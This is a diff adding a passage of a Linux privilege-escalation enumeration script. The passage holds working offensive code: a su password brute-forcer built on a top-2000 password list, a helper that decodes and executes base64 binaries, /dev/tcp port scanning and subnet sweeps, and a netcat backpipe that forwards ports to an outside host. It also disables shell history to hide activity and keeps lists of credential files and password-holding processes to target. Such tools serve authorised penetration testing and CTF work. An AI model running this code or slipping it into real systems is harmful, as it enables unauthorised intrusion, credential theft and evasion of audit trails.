+ if [ $? -eq 0 ]; then
+ SEDOVERFLOW=false
+ else
+ MAXPATH_FIND_W=$(($MAXPATH_FIND_W-1)) # If overflow of directories, check again with MAXPATH_FIND_W - 1
+ fi
+ if [ $MAXPATH_FIND_W -lt 1 ] ; then # Prevents infinite loop
+ SEDOVERFLOW=false
+ fi
+done
+
+
+notExtensions="\.tif$|\.tiff$|\.gif$|\.jpeg$|\.jpg|\.jif$|\.jfif$|\.jp2$|\.jpx$|\.j2k$|\.j2c$|\.fpx$|\.pcd$|\.png$|\.pdf$|\.flv$|\.mp4$|\.mp3$|\.gifv$|\.avi$|\.mov$|\.mpeg$|\.wav$|\.doc$|\.docx$|\.xls$|\.xlsx$|\.svg$"
+
+TIMEOUT="$(command -v timeout 2>/dev/null)"
+STRACE="$(command -v strace 2>/dev/null)"
+STRINGS="$(command -v strings 2>/dev/null)"
+LDD="$(command -v ldd 2>/dev/null)"
+READELF="$(command -v readelf 2>/dev/null)"
+
+shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/pm-utils-bugreport-info.sh|/power_report.sh|/prl-opengl-switcher.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh"
+
+notBackup="/tdbbackup$|/db_hotbackup$"
+
+cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|exim4-base|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|mod-pagespeed|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-motd|update-notifier-common|upstart|"
+cronjobsB="centreon"
+
+processesVB='jdwp|tmux |screen | inspect |--inspect[= ]|--inspect$|--inpect-brk|--remote-debugging-port'
+processesB="amazon-ssm-agent|knockd|splunk"
+processesDump="gdm-password|gnome-keyring-daemon|lightdm|vsftpd|apache2|sshd:"
+
+mail_apps="Postfix|Dovecot|Exim|SquirrelMail|Cyrus|Sendmail|Courier"
+
+profiledG="01-locale-fix.sh|256term.csh|256term.sh|abrt-console-notification.sh|appmenu-qt5.sh|apps-bin-path.sh|bash_completion.sh|cedilla-portuguese.sh|colorgrep.csh|colorgrep.sh|colorls.csh|colorls.sh|colorxzgrep.csh|colorxzgrep.sh|colorzgrep.csh|colorzgrep.sh|csh.local|cursor.sh|gawk.csh|gawk.sh|im-config_wayland.sh|kali.sh|lang.csh|lang.sh|less.csh|less.sh|flatpak.sh|sh.local|vim.csh|vim.sh|vte.csh|vte-2.91.sh|which2.csh|which2.sh|xauthority.sh|Z97-byobu.sh|xdg_dirs_desktop_session.sh|Z99-cloudinit-warnings.sh|Z99-cloud-locale-test.sh"
+
+knw_emails=".*@aivazian.fsnet.co.uk|.*@angband.pl|.*@canonical.com|.*centos.org|.*debian.net|.*debian.org|.*@jff.email|.*kali.org|.*linux.it|.*@linuxia.de|.*@lists.debian-maintainers.org|.*@mit.edu|.*@oss.sgi.com|.*@qualcomm.com|.*redhat.com|.*ubuntu.com|.*@vger.kernel.org|mmyangfl@gmail.com|rogershimizu@gmail.com|thmarques@gmail.com"
+
+timersG="anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|dpkg-db-backup.timer|e2scrub_all.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|plocate-updatedb.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ua-license-check.timer|ua-messaging.timer|ua-timer.timer|ureadahead-stop.timer"
+
+commonrootdirsG="^/$|/bin$|/boot$|/.cache$|/cdrom|/dev$|/etc$|/home$|/lost+found$|/lib$|/lib32$|libx32$|/lib64$|lost\+found|/media$|/mnt$|/opt$|/proc$|/root$|/run$|/sbin$|/snap$|/srv$|/sys$|/tmp$|/usr$|/var$"
+commonrootdirsMacG="^/$|/.DocumentRevisions-V100|/.fseventsd|/.PKInstallSandboxManager-SystemSoftware|/.Spotlight-V100|/.Trashes|/.vol|/Applications|/bin|/cores|/dev|/home|/Library|/macOS Install Data|/net|/Network|/opt|/private|/sbin|/System|/Users|/usr|/Volumes"
+
+ldsoconfdG="/lib32|/lib/x86_64-linux-gnu|/usr/lib32|/usr/lib/oracle/19.6/client64/lib/|/usr/lib/x86_64-linux-gnu/libfakeroot|/usr/lib/x86_64-linux-gnu|/usr/local/lib/x86_64-linux-gnu|/usr/local/lib"
+
+dbuslistG="^:1\.[0-9\.]+|com.hp.hplip|com.intel.tss2.Tabrmd|com.redhat.ifcfgrh1|com.redhat.NewPrinterNotification|com.redhat.PrinterDriversInstaller|com.redhat.RHSM1|com.redhat.RHSM1.Facts|com.redhat.tuned|com.ubuntu.LanguageSelector|com.ubuntu.SoftwareProperties|com.ubuntu.SystemService|com.ubuntu.USBCreator|com.ubuntu.WhoopsiePreferences|io.netplan.Netplan|io.snapcraft.SnapdLoginService|fi.epitest.hostap.WPASupplicant|fi.w1.wpa_supplicant1|NAME|net.hadess.SwitcherooControl|org.blueman.Mechanism|org.bluez|org.debian.apt|org.fedoraproject.FirewallD1|org.fedoraproject.Setroubleshootd|org.fedoraproject.SetroubleshootFixit|org.fedoraproject.SetroubleshootPrivileged|org.freedesktop.Accounts|org.freedesktop.Avahi|org.freedesktop.bolt|org.freedesktop.ColorManager|org.freedesktop.DBus|org.freedesktop.DisplayManager|org.freedesktop.fwupd|org.freedesktop.GeoClue2|org.freedesktop.hostname1|org.freedesktop.import1|org.freedesktop.locale1|org.freedesktop.login1|org.freedesktop.machine1|org.freedesktop.ModemManager1|org.freedesktop.NetworkManager|org.freedesktop.network1|org.freedesktop.nm_dispatcher|org.freedesktop.nm_priv_helper|org.freedesktop.PackageKit|org.freedesktop.PolicyKit1|org.freedesktop.portable1|org.freedesktop.realmd|org.freedesktop.RealtimeKit1|org.freedesktop.SystemToolsBackends|org.freedesktop.SystemToolsBackends.[a-zA-Z0-9_]+|org.freedesktop.resolve1|org.freedesktop.systemd1|org.freedesktop.thermald|org.freedesktop.timedate1|org.freedesktop.timesync1|org.freedesktop.UDisks2|org.freedesktop.UPower|org.gnome.DisplayManager|org.opensuse.CupsPkHelper.Mechanism"
+USEFUL_SOFTWARE="authbind aws az base64 ctr curl doas docker fetch g++ gcc gcloud gdb kubectl lxc make nc nc.traditional ncat netcat nmap perl php ping podman python python2 python2.6 python2.7 python3 python3.6 python3.7 pwsh rkt ruby runc socat sudo wget xterm"
+TIP_DOCKER_ROOTLESS="In rootless mode privilege escalation to root will not be possible."
+GREP_DOCKER_SOCK_INFOS="Architecture|OSType|Name|DockerRootDir|NCPU|OperatingSystem|KernelVersion|ServerVersion"
+GREP_DOCKER_SOCK_INFOS_IGNORE="IndexConfig"
+GREP_IGNORE_MOUNTS="/ /|/null | proc proc |/dev/console"
+
+INT_HIDDEN_FILES=".Xauthority|.bashrc|.bluemix|.boto|.cer|.cloudflared|.credentials.json|.crt|.csr|.db|.der|.docker|.env|.erlang.cookie|.flyrc|.ftpconfig|.git|.git-credentials|.gitconfig|.github|.gnupg|.google_authenticator|.gpg|.htpasswd|.irssi|.jks|.k5login|.kdbx|.key|.keyring|.keystore|.keytab|.kube|.ldaprc|.lesshst|.mozilla|.msmtprc|.ovpn|.p12|.password-store|.pem|.pfx|.pgp|.plan|.profile|.psk|.pub|.pypirc|.rdg|.recently-used.xbel|.rhosts|.roadtools_auth|.secrets.mkey|.service|.socket|.sqlite|.sqlite3|.sudo_as_admin_successful|.svn|.swp|.tf|.tfstate|.timer|.vault-token|.vhd|.vhdx|.viminfo|.vmdk|.vnc|.wgetrc"
+
+
+###########################################
+#---------) Checks before start (---------#
+###########################################
+# --) ps working good
+# --) Network binaries
+
+if [ "$(ps auxwww 2>/dev/null | wc -l 2>/dev/null)" -lt 8 ]; then
+ NOUSEPS="1"
+fi
+
+DISCOVER_BAN_BAD="No network discovery capabilities (fping or ping not found)"
+FPING=$(command -v fping 2>/dev/null)
+PING=$(command -v ping 2>/dev/null)
+if [ "$FPING" ]; then
+ DISCOVER_BAN_GOOD="$GREEN$FPING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)"
+else
+ if [ "$PING" ]; then
+ DISCOVER_BAN_GOOD="$GREEN$PING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)"
+ fi
+fi
+
+SCAN_BAN_BAD="No port scan capabilities (nc and bash not found)"
+
+if [ "$(command -v bash)" ] && ! [ -L "$(command -v bash)" ]; then
+ FOUND_BASH=$(command -v bash);
+elif [ -f "/bin/bash" ] && ! [ -L "/bin/bash" ]; then
+ FOUND_BASH="/bin/bash";
+fi
+if [ "$FOUND_BASH" ]; then
+ SCAN_BAN_GOOD="$YELLOW[+] $GREEN$FOUND_BASH${BLUE} is available for network discovery, port scanning and port forwarding$LG ($SCRIPTNAME can discover hosts, scan ports, and forward ports. Learn more with -h)\n"
+fi
+
+FOUND_NC=$(command -v nc 2>/dev/null)
+if [ -z "$FOUND_NC" ]; then
+ FOUND_NC=$(command -v netcat 2>/dev/null);
+fi
+if [ -z "$FOUND_NC" ]; then
+ FOUND_NC=$(command -v ncat 2>/dev/null);
+fi
+if [ -z "$FOUND_NC" ]; then
+ FOUND_NC=$(command -v nc.traditional 2>/dev/null);
+fi
+if [ -z "$FOUND_NC" ]; then
+ FOUND_NC=$(command -v nc.openbsd 2>/dev/null);
+fi
+if [ "$FOUND_NC" ]; then
+ SCAN_BAN_GOOD="$SCAN_BAN_GOOD$YELLOW[+] $GREEN$FOUND_NC${BLUE} is available for network discovery & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)\n"
+fi
+
+
+###########################################
+#-----------) Main Functions (------------#
+###########################################
+
+echo_not_found (){
+ printf $DG"$1 Not Found\n"$NC
+}
+
+warn_exec(){
+ $* 2>/dev/null || echo_not_found $1
+}
+
+echo_no (){
+ printf $DG"No\n"$NC
+}
+
+print_title(){
+ if [ "$DEBUG" ]; then
+ END_T2_TIME=$(date +%s 2>/dev/null)
+ if [ "$START_T2_TIME" ]; then
+ TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME))
+ printf $DG"This check took $TOTAL_T2_TIME seconds\n"$NC
+ fi
+
+ END_T1_TIME=$(date +%s 2>/dev/null)
+ if [ "$START_T1_TIME" ]; then
+ TOTAL_T1_TIME=$(($END_T1_TIME - $START_T1_TIME))
+ printf $DG"The total section execution took $TOTAL_T1_TIME seconds\n"$NC
+ echo ""
+ fi
+
+ START_T1_TIME=$(date +%s 2>/dev/null)
+ fi
+
+ title=$1
+ title_len=$(echo $title | wc -c)
+ max_title_len=80
+ rest_len=$((($max_title_len - $title_len) / 2))
+
+ printf ${BLUE}
+ for i in $(seq 1 $rest_len); do printf " "; done
+ printf "╔"
+ for i in $(seq 1 $title_len); do printf "═"; done; printf "═";
+ printf "╗"
+
+ echo ""
+
+ for i in $(seq 1 $rest_len); do printf "═"; done
+ printf "╣ $GREEN${title}${BLUE} ╠"
+ for i in $(seq 1 $rest_len); do printf "═"; done
+
+ echo ""
+
+ printf ${BLUE}
+ for i in $(seq 1 $rest_len); do printf " "; done
+ printf "╚"
+ for i in $(seq 1 $title_len); do printf "═"; done; printf "═";
+ printf "╝"
+
+ printf $NC
+ echo ""
+}
+
+print_2title(){
+ if [ "$DEBUG" ]; then
+ END_T2_TIME=$(date +%s 2>/dev/null)
+ if [ "$START_T2_TIME" ]; then
+ TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME))
+ printf $DG"This check took $TOTAL_T2_TIME seconds\n"$NC
+ echo ""
+ fi
+
+ START_T2_TIME=$(date +%s 2>/dev/null)
+ fi
+
+ printf ${BLUE}"╔══════════╣ $GREEN$1\n"$NC # There are 10 "═"
+}
+
+print_3title(){
+ printf ${BLUE}"══╣ $GREEN$1\n"$NC # There are 2 "═"
+}
+
+print_3title_no_nl(){
+ printf "\033[2K\r"
+ printf ${BLUE}"══╣ $GREEN${1}..."$NC # There are 2 "═"
+}
+
+print_list(){
+ printf ${BLUE}"═╣ $GREEN$1"$NC # There is 1 "═"
+}
+
+print_info(){
+ printf "${BLUE}╚ ${ITALIC_BLUE}$1\n"$NC
+}
+
+print_ps (){
+ (ls -d /proc/*/ 2>/dev/null | while read f; do
+ CMDLINE=$(cat $f/cmdline 2>/dev/null | grep -av "seds,"); # Delete my own sed processess
+ if [ "$CMDLINE" ];
+ then var USER2=ls -ld $f | awk '{print $3}'; PID=$(echo $f | cut -d "/" -f3);
+ printf " %-13s %-8s %s\n" "$USER2" "$PID" "$CMDLINE";
+ fi;
+ done) 2>/dev/null | sort -r
+}
+
+su_try_pwd (){
+ BFUSER=$1
+ PASSWORDTRY=$2
+ trysu=$(echo "$PASSWORDTRY" | timeout 1 su $BFUSER -c whoami 2>/dev/null)
+ if [ "$trysu" ]; then
+ echo " You can login as $BFUSER using password: $PASSWORDTRY" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ fi
+}
+
+su_brute_user_num (){
+ BFUSER=$1
+ TRIES=$2
+ su_try_pwd "$BFUSER" "" & # Try without password
+ su_try_pwd "$BFUSER" "$BFUSER" & # Try username as password
+ su_try_pwd "$BFUSER" "$(echo $BFUSER | rev 2>/dev/null)" & # Try reverse username as password
+ if [ "$PASSWORD" ]; then
+ su_try_pwd "$BFUSER" "$PASSWORD" & # Try given password
+ fi
+ for i in $(seq "$TRIES"); do
+ su_try_pwd "$BFUSER" "$(echo $top2000pwds | cut -d ' ' -f $i)" & # Try TOP TRIES of passwords (by default 2000)
+ sleep 0.007 # To not overload the system
+ done
+ wait
+}
+
+check_if_su_brute(){
+ EXISTS_SU="$(command -v su 2>/dev/null)"
+ error=$(echo "" | timeout 1 su $(whoami) -c whoami 2>&1);
+ if [ "$EXISTS_SU" ] && ! echo $error | grep -q "must be run from a terminal"; then
+ echo "1"
+ fi
+}
+
+eval_bckgrd(){
+ eval "$1" &
+ CONT_THREADS=$(($CONT_THREADS+1)); if [ "$(($CONT_THREADS%$THREADS))" -eq "0" ]; then wait; fi
+}
+
+macosNotSigned(){
+ for filename in $1/*; do
+ if codesign -vv -d \"$filename\" 2>&1 | grep -q 'not signed'; then
+ echo "$filename isn't signed" | sed -${E} "s,.*,${SED_RED},"
+ fi
+ done
+}
+
+execBin(){
+ TOOL_NAME=$1
+ TOOL_LINK=$2
+ B64_BIN=$3
+ PARAMS=$4
+ if [ "$B64_BIN" ]; then
+ echo ""
+ print_3title "Running $TOOL_NAME"
+ print_info "$TOOL_LINK"
+ echo "$B64_BIN" | base64 -d > $Wfolder/bin
+ chmod +x $Wfolder/bin
+ eval "$Wfolder/bin $PARAMS"
+ rm -f $Wfolder/bin
+ echo ""
+ fi
+}
+
+###########################################
+#---------) Internet functions (----------#
+###########################################
+check_tcp_80(){
+ (timeout -s KILL 20 /bin/bash -c '( echo >/dev/tcp/1.1.1.1/80 && echo "Port 80 is accessible" || echo "Port 80 is not accessible") 2>/dev/null | grep "accessible"') 2>/dev/null || echo "Port 80 is not accessible"
+}
+check_tcp_443(){
+ (timeout -s KILL 20 /bin/bash -c '(echo >/dev/tcp/1.1.1.1/443 && echo "Port 443 is accessible" || echo "Port 443 is not accessible") 2>/dev/null | grep "accessible"') 2>/dev/null || echo "Port 443 is not accessible"
+}
+check_icmp(){
+ (timeout -s KILL 20 /bin/bash -c '(ping -c 1 1.1.1.1 | grep "1 received" && echo "Ping is available" || echo "Ping is not available") 2>/dev/null | grep "available"') 2>/dev/null || echo "Ping is not available"
+}
+# DNS function from: https://unix.stackexchange.com/questions/600194/create-dns-query-with-netcat-or-dev-udp
+# I cannot use this function because timeout doesn't find it, so it's copy/pasted below
+check_dns(){
+ (timeout 20 /bin/bash -c '(( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS available" || echo "DNS not available") 2>/dev/null | grep "available"' ) 2>/dev/null || echo "DNS not available"
+}
+
+###########################################
+#----------) Network functions (----------#
+###########################################
+
+basic_net_info(){
+ print_title "Basic Network Info"
+ (ifconfig || ip a) 2>/dev/null
+ echo ""
+}
+
+select_nc (){
+ # Select the correct configuration of the netcat found
+ NC_SCAN="$FOUND_NC -v -n -z -w 1"
+ $($NC_SCAN 127.0.0.1 65321 > /dev/null 2>&1)
+ if [ $? -eq 2 ]
+ then
+ NC_SCAN="timeout 1 $FOUND_NC -v -n"
+ fi
+}
+
+icmp_recon (){
+ # Discover hosts inside a /24 subnetwork using ping (start pingging broadcast addresses)
+ IP3=$(echo $1 | cut -d "." -f 1,2,3)
+
+ (timeout 1 ping -b -c 1 "$IP3.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") &
+ (timeout 1 ping -b -c 1 "255.255.255.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") &
+ for j in $(seq 0 254)
+ do
+ (timeout 1 ping -b -c 1 "$IP3.$j" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") &
+ done
+ wait
+}
+
+tcp_recon (){
+ # Discover hosts inside a /24 subnetwork using tcp connection to most used ports and selected ones
+ IP3=$(echo $1 | cut -d "." -f 1,2,3)
+ PORTS=$2
+ printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " "
+ printf "$NC\n"
+
+ for port in $PORTS; do
+ for j in $(seq 1 254)
+ do
+ if [ "$FOUND_BASH" ] && [ "$TIMEOUT" ]; then
+ $TIMEOUT 2.5 $FOUND_BASH -c "(echo </dev/tcp/$IP3.$j/$port) 2>/dev/null && echo -e \"\n[+] Open port at: $IP3.$j:$port\"" &
+ elif [ "$NC_SCAN" ]; then
+ ($NC_SCAN "$IP3"."$j" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") &
+ fi
+ done
+ wait
+ done
+}
+
+tcp_port_scan (){
+ # Scan open ports of a host. Default: nmap top 1000, but the user can select others
+ basic_net_info
+
+ print_title "Network Port Scanning"
+ IP=$1
+ PORTS="$2"
+
+ if [ -z "$PORTS" ]; then
+ printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: DEFAULT (nmap top 1000)" $NC | tr '\n' " "
+ printf "$NC\n"
+ PORTS="1 3 4 6 7 9 13 17 19 20 21 22 23 24 25 26 30 32 33 37 42 43 49 53 70 79 80 81 82 83 84 85 88 89 90 99 100 106 109 110 111 113 119 125 135 139 143 144 146 161 163 179 199 211 212 222 254 255 256 259 264 280 301 306 311 340 366 389 406 407 416 417 425 427 443 444 445 458 464 465 481 497 500 512 513 514 515 524 541 543 544 545 548 554 555 563 587 593 616 617 625 631 636 646 648 666 667 668 683 687 691 700 705 711 714 720 722 726 749 765 777 783 787 800 801 808 843 873 880 888 898 900 901 902 903 911 912 981 987 990 992 993 995 999 1000 1001 1002 1007 1009 1010 1011 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1102 1104 1105 1106 1107 1108 1110 1111 1112 1113 1114 1117 1119 1121 1122 1123 1124 1126 1130 1131 1132 1137 1138 1141 1145 1147 1148 1149 1151 1152 1154 1163 1164 1165 1166 1169 1174 1175 1183 1185 1186 1187 1192 1198 1199 1201 1213 1216 1217 1218 1233 1234 1236 1244 1247 1248 1259 1271 1272 1277 1287 1296 1300 1301 1309 1310 1311 1322 1328 1334 1352 1417 1433 1434 1443 1455 1461 1494 1500 1501 1503 1521 1524 1533 1556 1580 1583 1594 1600 1641 1658 1666 1687 1688 1700 1717 1718 1719 1720 1721 1723 1755 1761 1782 1783 1801 1805 1812 1839 1840 1862 1863 1864 1875 1900 1914 1935 1947 1971 1972 1974 1984 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2013 2020 2021 2022 2030 2033 2034 2035 2038 2040 2041 2042 2043 2045 2046 2047 2048 2049 2065 2068 2099 2100 2103 2105 2106 2107 2111 2119 2121 2126 2135 2144 2160 2161 2170 2179 2190 2191 2196 2200 2222 2251 2260 2288 2301 2323 2366 2381 2382 2383 2393 2394 2399 2401 2492 2500 2522 2525 2557 2601 2602 2604 2605 2607 2608 2638 2701 2702 2710 2717 2718 2725 2800 2809 2811 2869 2875 2909 2910 2920 2967 2968 2998 3000 3001 3003 3005 3006 3007 3011 3013 3017 3030 3031 3052 3071 3077 3128 3168 3211 3221 3260 3261 3268 3269 3283 3300 3301 3306 3322 3323 3324 3325 3333 3351 3367 3369 3370 3371 3372 3389 3390 3404 3476 3493 3517 3527 3546 3551 3580 3659 3689 3690 3703 3737 3766 3784 3800 3801 3809 3814 3826 3827 3828 3851 3869 3871 3878 3880 3889 3905 3914 3918 3920 3945 3971 3986 3995 3998 4000 4001 4002 4003 4004 4005 4006 4045 4111 4125 4126 4129 4224 4242 4279 4321 4343 4443 4444 4445 4446 4449 4550 4567 4662 4848 4899 4900 4998 5000 5001 5002 5003 5004 5009 5030 5033 5050 5051 5054 5060 5061 5080 5087 5100 5101 5102 5120 5190 5200 5214 5221 5222 5225 5226 5269 5280 5298 5357 5405 5414 5431 5432 5440 5500 5510 5544 5550 5555 5560 5566 5631 5633 5666 5678 5679 5718 5730 5800 5801 5802 5810 5811 5815 5822 5825 5850 5859 5862 5877 5900 5901 5902 5903 5904 5906 5907 5910 5911 5915 5922 5925 5950 5952 5959 5960 5961 5962 5963 5987 5988 5989 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6009 6025 6059 6100 6101 6106 6112 6123 6129 6156 6346 6389 6502 6510 6543 6547 6565 6566 6567 6580 6646 6666 6667 6668 6669 6689 6692 6699 6779 6788 6789 6792 6839 6881 6901 6969 7000 7001 7002 7004 7007 7019 7025 7070 7100 7103 7106 7200 7201 7402 7435 7443 7496 7512 7625 7627 7676 7741 7777 7778 7800 7911 7920 7921 7937 7938 7999 8000 8001 8002 8007 8008 8009 8010 8011 8021 8022 8031 8042 8045 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8093 8099 8100 8180 8181 8192 8193 8194 8200 8222 8254 8290 8291 8292 8300 8333 8383 8400 8402 8443 8500 8600 8649 8651 8652 8654 8701 8800 8873 8888 8899 8994 9000 9001 9002 9003 9009 9010 9011 9040 9050 9071 9080 9081 9090 9091 9099 9100 9101 9102 9103 9110 9111 9200 9207 9220 9290 9415 9418 9485 9500 9502 9503 9535 9575 9593 9594 9595 9618 9666 9876 9877 9878 9898 9900 9917 9929 9943 9944 9968 9998 9999 10000 10001 10002 10003 10004 10009 10010 10012 10024 10025 10082 10180 10215 10243 10566 10616 10617 10621 10626 10628 10629 10778 11110 11111 11967 12000 12174 12265 12345 13456 13722 13782 13783 14000 14238 14441 14442 15000 15002 15003 15004 15660 15742 16000 16001 16012 16016 16018 16080 16113 16992 16993 17877 17988 18040 18101 18988 19101 19283 19315 19350 19780 19801 19842 20000 20005 20031 20221 20222 20828 21571 22939 23502 24444 24800 25734 25735 26214 27000 27352 27353 27355 27356 27715 28201 30000 30718 30951 31038 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 32780 32781 32782 32783 32784 32785 33354 33899 34571 34572 34573 35500 38292 40193 40911 41511 42510 44176 44442 44443 44501 45100 48080 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49163 49165 49167 49175 49176 49400 49999 50000 50001 50002 50003 50006 50300 50389 50500 50636 50800 51103 51493 52673 52822 52848 52869 54045 54328 55055 55056 55555 55600 56737 56738 57294 57797 58080 60020 60443 61532 61900 62078 63331 64623 64680 65000 65129 65389"
+ else
+ PORTS="$(echo $PORTS | tr ',' ' ')"
+ printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " "
+ printf "$NC\n"
+ fi
+
+ for port in $PORTS; do
+ if [ "$FOUND_BASH" ]; then
+ $FOUND_BASH -c "(echo </dev/tcp/$IP/$port) 2>/dev/null && echo -n \"[+] Open port at: $IP:$port\"" &
+ elif [ "$NC_SCAN" ]; then
+ ($NC_SCAN "$IP" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") &
+ fi
+ done
+ wait
+}
+
+discover_network (){
+ # Check if IP and Netmask are correct and the use fping or ping to find hosts
+ basic_net_info
+
+ print_title "Network Discovery"
+
+ DISCOVERY=$1
+ IP=$(echo "$DISCOVERY" | cut -d "/" -f 1)
+ NETMASK=$(echo "$DISCOVERY" | cut -d "/" -f 2)
+
+ if [ -z "$IP" ] || [ -z "$NETMASK" ]; then
+ printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24"$NC;
+ printf ${BLUE}"$HELP"$NC;
+ exit 0
+ fi
+
+ # Using fping if possible
+ if [ "$FPING" ]; then
+ $FPING -a -q -g "$DISCOVERY" | sed -${E} "s,.*,${SED_RED},"
+
+ # Loop using ping
+ else
+ if [ "$NETMASK" -eq "24" ]; then
+ printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n$NC"
+ icmp_recon $IP
+
+ elif [ "$NETMASK" -eq "16" ]; then
+ printf ${YELLOW}"[+]$GREEN Netmask /16 detected, starting...\n$NC"
+ for i in $(seq 1 254)
+ do
+ NEWIP=$(echo "$IP" | cut -d "." -f 1,2).$i.1
+ icmp_recon "$NEWIP"
+ done
+ else
+ printf $RED"[-] Err: Sorry, only Netmask /24 and /16 supported in ping mode. Netmask detected: $NETMASK"$NC;
+ exit 0
+ fi
+ fi
+}
+
+discovery_port_scan (){
+ basic_net_info
+
+ # Check if IP and Netmask are correct and the use nc to find hosts. By default check ports: 22 80 443 445 3389
+ print_title "Internal Network Discovery - Finding hosts and scanning ports"
+ DISCOVERY=$1
+ MYPORTS=$2
+
+ IP=$(echo "$DISCOVERY" | cut -d "/" -f 1)
+ NETMASK=$(echo "$DISCOVERY" | cut -d "/" -f 2)
+ echo "Scanning: $DISCOVERY"
+
+ if [ -z "$IP" ] || [ -z "$NETMASK" ] || [ "$IP" = "$NETMASK" ]; then
+ printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24\n"$NC;
+ if [ "$IP" = "$NETMASK" ]; then
+ printf $RED"[*] This options is used to find active hosts by scanning ports. If you want to perform a port scan of a host use the options: ${YELLOW}-i <IP> [-p <PORT(s)>]\n\n"$NC;
+ fi
+ printf ${BLUE}"$HELP"$NC;
+ exit 0
+ fi
+
+ PORTS="22 80 443 445 3389 $(echo $MYPORTS | tr ',' ' ')"
+ PORTS=$(echo "$PORTS" | tr " " "\n" | sort -u) # Delete repetitions
+
+ if [ "$NETMASK" -eq "24" ]; then
+ printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n" $NC
+ tcp_recon "$IP" "$PORTS"
+
+ elif [ "$NETMASK" -eq "16" ]; then
+ printf ${YELLOW}"[+]$GREEN Netmask /16 detected, starting...\n" $NC
+ for i in $(seq 0 255)
+ do
+ NEWIP=$(echo "$IP" | cut -d "." -f 1,2).$i.1
+ tcp_recon "$NEWIP" "$PORTS"
+ done
+ else
+ printf $RED"[-] Err: Sorry, only netmask /24 and /16 are supported in port discovery mode. Netmask detected: $NETMASK\n"$NC;
+ exit 0
+ fi
+}
+
+
+port_forward (){
+ LOCAL_IP=$1
+ LOCAL_PORT=$2
+ REMOTE_IP=$3
+ REMOTE_PORT=$4
+
+ echo "In your machine execute:"
+ echo "cd /tmp; rm backpipe; mknod backpipe p;"
+ echo "nc -lvnp $LOCAL_PORT 0<backpipe | nc -lvnp 9009 1>backpipe"
+ echo ""
+ read -p "Press any key when you have executed those commands" useless_var
+
+ bash -c "exec 3<>/dev/tcp/$REMOTE_IP/$REMOTE_PORT; exec 4<>/dev/tcp/$LOCAL_IP/9009; cat <&3 >&4 & cat <&4 >&3 &"
+ echo "If not error was indicated, your host port $LOCAL_PORT should be forwarded to $REMOTE_IP:$REMOTE_PORT"
+}
+
+
+###########################################
+#---) Exporting history env variables (---#
+###########################################
+
+unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH
+export HISTFILE=/dev/null
+export HISTSIZE=0
+export HISTFILESIZE=0
+
+
+
+###########################################
+#-----------) Some Basic Info (-----------#
+###########################################
+
+print_title "Basic information"
+printf $LG"OS: "$NC
